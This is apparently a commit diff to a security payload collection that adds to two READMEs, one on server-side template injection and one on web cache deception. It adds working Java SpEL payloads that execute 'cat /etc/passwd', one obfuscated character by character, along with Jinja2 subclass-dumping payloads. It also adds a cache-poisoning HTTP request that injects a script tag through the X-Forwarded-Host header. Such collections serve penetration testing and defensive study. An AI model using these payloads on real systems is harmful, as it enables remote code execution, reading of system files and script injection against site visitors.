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Web Cache Deception details from SI9INT's blogpost

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7
Server Side Template injections/README.md
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@ -46,6 +46,8 @@ ${T(java.lang.System).getenv()}
### Java - Retrieve /etc/passwd
```java
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
```
@ -160,6 +162,8 @@ The above injections have been tested on Flask application.
### Jinja2 - Dump all used classes
```python
{{ [].class.base.subclasses() }}
{{''.class.mro()[1].subclasses()}}
{{ ''.__class__.__mro__[2].__subclasses__() }}
```
@ -223,4 +227,5 @@ $eval('1+1')
* [Ruby ERB Template injection - TrustedSec](https://www.trustedsec.com/2017/09/rubyerb-template-injection/)
* [Gist - Server-Side Template Injection - RCE For the Modern WebApp by James Kettle (PortSwigger)](https://gist.github.com/Yas3r/7006ec36ffb987cbfb98)
* [PDF - Server-Side Template Injection: RCE for the modern webapp - @albinowax](https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf)
* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)
* [VelocityServlet Expression Language injection](https://magicbluech.github.io/2017/12/02/VelocityServlet-Expression-language-Injection/)
* [Cheatsheet - Flask & Jinja2 SSTI - Sep 3, 2018 • By phosphore](https://pequalsnp-team.github.io/cheatsheet/flask-jinja2-ssti)

35
Web cache deception/README.md
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@ -1,5 +1,10 @@
# Web Cache Deception Attack
## Tools
* [Param Miner - PortSwigger](https://github.com/PortSwigger/param-miner)
> This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities.
## Exploit
1. Browser requests `http://www.example.com/home.php/non-existent.css`.
@ -16,11 +21,37 @@
4. Open a private tab with the previous URL : `https://www.paypal.com/myaccount/home/malicous.css`
5. The content of the cache is displayed
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
[![YOUTUBE DEMO](https://img.youtube.com/vi/pLte7SomUB8/0.jpg)](https://www.youtube.com/watch?v=pLte7SomUB8)
Video of the attack by Omer Gil - Web Cache Deception Attack in PayPal Home Page
## Methodology 2
1. Find an unkeyed input for a Cache Poisoning
```js
Values: User-Agent
Values: Cookie
Header: X-Forwarded-Host
Header: X-Host
Header: X-Forwarded-Server
Header: X-Forwarded-Scheme (header; also in combination with X-Forwarded-Host)
Header: X-Original-URL (Symfony)
Header: X-Rewrite-URL (Symfony)
```
2. Cache poisonning attack - Example for `X-Forwarded-Host` unkeyed input (remember to use a buster to only cache this webpage instead of the main page of the website)
```js
GET /test?buster=123 HTTP/1.1
Host: target.com
X-Forwarded-Host: test"><script>alert(1)</script>
HTTP/1.1 200 OK
Cache-Control: public, no-cache
[..]
<meta property="og:image" content="https://test"><script>alert(1)</script>">
```
## Thanks to
* [Web Cache Deception Attack - Omer Gil](http://omergil.blogspot.fr/2017/02/web-cache-deception-attack.html)
* [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning)
* [Practical Web Cache Poisoning - James Kettle @albinowax](https://portswigger.net/blog/practical-web-cache-poisoning)
* [Web Caching - SI9INT](https://si9int.sh/article/6)